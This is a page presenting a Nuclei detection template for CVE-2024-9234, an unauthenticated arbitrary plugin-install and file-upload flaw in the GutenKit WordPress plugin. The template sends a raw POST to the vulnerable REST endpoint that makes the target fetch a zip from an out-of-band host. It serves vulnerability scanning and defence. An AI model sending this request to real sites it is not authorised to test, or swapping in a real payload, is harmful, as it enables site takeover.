GutenKit <= 2.1.0 - Arbitrary File Upload
ID: CVE-2024-9234
Severity: critical
Author: s4e-io
Tags: cve,cve2024,wordpress,wp-plugin,gutenkit,file-upload,intrusive
Description
Section titled “Description”The GutenKit Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the install_and_activate_plugin_from_external() function (install-active-plugin REST API endpoint) in all versions up to, and including, 2.1.0. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins, or utilize the functionality to upload arbitrary files spoofed like plugins.
YAML Source
Section titled “YAML Source”id: CVE-2024-9234
info: name: GutenKit <= 2.1.0 - Arbitrary File Upload author: s4e-io severity: critical description: | The GutenKit Page Builder Blocks, Patterns, and Templates for Gutenberg Block Editor plugin for WordPress is vulnerable to arbitrary file uploads due to a missing capability check on the install_and_activate_plugin_from_external() function (install-active-plugin REST API endpoint) in all versions up to, and including, 2.1.0. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins, or utilize the functionality to upload arbitrary files spoofed like plugins. reference: - https://nvd.nist.gov/vuln/detail/CVE-2024-9234 - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/gutenkit-blocks-addon/gutenkit-210-unauthenticated-arbitrary-file-upload classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.8 cve-id: CVE-2024-9234 cwe-id: CWE-862 epss-score: 0.00045 epss-percentile: 0.16482 metadata: verified: true max-request: 2 vendor: wpmet product: gutenkit framework: wordpress fofa-query: body="wp-content/plugins/gutenkit-blocks-addon" tags: cve,cve2024,wordpress,wp-plugin,gutenkit,file-upload,intrusive
variables: filename: "{{rand_text_alpha(12)}}"
flow: http(1) && http(2)
http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}}
matchers: - type: dsl dsl: - 'contains(body, "/wp-content/plugins/gutenkit-blocks-addon")' - 'status_code == 200' condition: and internal: true
- raw: - | POST /wp-json/gutenkit/v1/install-active-plugin HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded
plugin=http://{{interactsh-url}}/{{filename}}.zip
matchers: - type: dsl dsl: - 'contains_all(body, "Failed to unzip plugin", "success\":false")' - 'contains(content_type, "application/json")' - 'status_code == 200' condition: and# digest: 490a0046304402205e695df58cc1f7abe51a2add17cf2b01bced2286e07b698cb42d2fd64ab8a3a1022005b33f1ee32b24e24d8a892dc148297392251fda1959ea38a9a52e680d3b259d:922c64590222798bb761d5b6d8e72950Guide to check the vulnerabilities
Section titled “Guide to check the vulnerabilities”This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.
$ nuclei -u "URL" -t "http/cves/2024/CVE-2024-9234.yaml"